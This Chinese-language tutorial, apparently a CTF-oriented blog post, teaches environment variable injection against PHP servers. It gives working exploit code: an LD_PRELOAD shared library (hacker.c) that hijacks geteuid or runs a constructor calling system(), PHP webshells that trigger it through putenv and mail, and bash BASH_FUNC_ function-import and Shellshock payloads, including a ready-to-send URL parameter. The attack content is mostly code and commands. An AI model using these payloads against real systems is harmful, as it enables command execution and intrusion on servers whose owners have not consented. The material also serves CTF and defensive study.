环境变量注入

假设拿到了一个shell但无法执行系统命令

这是一个空壳shell,可以通过上传LD_PRELOAD​进行绕过,怎么判断要覆写的函数名?

可以通过看sh会调用的库函数

1
└─$ sudo readelf -Ws /usr/bin/sh

挑一个geteuid

hacker.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload() {
system("/flag >> /var/www/html/test.php");
}


int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

编译成.so文件,

就是将一系列的c函数打包到一个文件中,方便其他二进制文件调用,这样的文件就是so文件,也称动态链接库,相当于windows中的dll文件。

1
gcc -shared -fPIC hacker.c -o hacker.so

上传so文件到有写入权限的目录下,权限也很玄乎,假如shell写入权限不够就很难利用了,参考羊城杯2023的ez_web,上传目录居然是etc,也考倒了很多

写入临时webshell

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/hacker.so");
mail("","","","");
?>

访问临时webshell即可成功执行system命令

当然hacker.c也可以这样子写

1
2
3
4
5
6
7
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}

临时webshelll

1
2
3
4
<?php
putenv("CMD=ls");
putenv("LD_PRELOAD=./hacker.so");
?>

​​假如没有上传点也没有利用点该怎么触发命令执行​

如下代码:

1
2
3
4
5
6
7
8
<?php
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
//... 一些其他代码
system('echo hello');
?>

怎么触发命令执行?

php的system是调用的sh,在centos系统中sh指向bash,在p神的文章中也对比了dash的利用,虽然很鸡肋但是最后还是发现bash可以利用,是因为variables.c的initialize_shell_variables​函数用于将环境变量注册成SHELL的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
for (string_index = 0; env && (string = env[string_index++]); ) {
name = string;
// ...

if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
STREQN ("() {", string, 4))
{
size_t namelen;
char *tname; /* desired imported function name */

namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = '\0'; /* now tname == func name */

string_length = strlen (string);
temp_string = (char *)xmalloc (namelen + string_length + 2);

memcpy (temp_string, tname, namelen);
temp_string[namelen] = ' ';
memcpy (temp_string + namelen + 1, string, string_length + 1);

/* Don't import function names that are invalid identifiers from the
environment in posix mode, though we still allow them to be defined as
shell variables. */
if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
else
free (temp_string); /* parse_and_execute does this */
//...
}
}

这里for遍历了所有环境变量,并用=​分割,name​就是环境变量名,string​是值。

当满足下面这些条件的情况下,temp_string​将被传入parse_and_execute​执行:

  • privmode == 0​,即不能传入-p​参数
  • read_but_dont_execute == 0​,即不能传入-n​参数
  • STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN)​,环境变量名前10个字符等于BASH_FUNC_
  • STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN)​,环境变量名后两个字符等于%%
  • STREQN ("() {", string, 4)​,环境变量的值前4个字符等于() {

前两个条件肯定是满足的,后三个条件是用户可控的,所以这个if语句是肯定可以进入的。进入if语句后,去除前缀BASH_FUNC_​和后缀%%​的部分将是一个变量名,而由() {​开头的字符串将会被执行。

这里其实做的就是一件事:根据环境变量的值初始化一个匿名函数,并赋予其名字

所以,我们传入下面这样一个环境变量,将会在Bash上下文中添加一个myfunc函数:

1
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

centos8下poc为

1
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

所以对于上面的php代码poc为

1
?envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}

centos7(​Bash 4.2​)poc为

1
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

对于p神的总结遇到环境变量注入可以这样子尝试

1
2
3
Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

参考:

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

https://blog.csdn.net/qq_38154820/article/details/106330120

-------------已经到底啦!-------------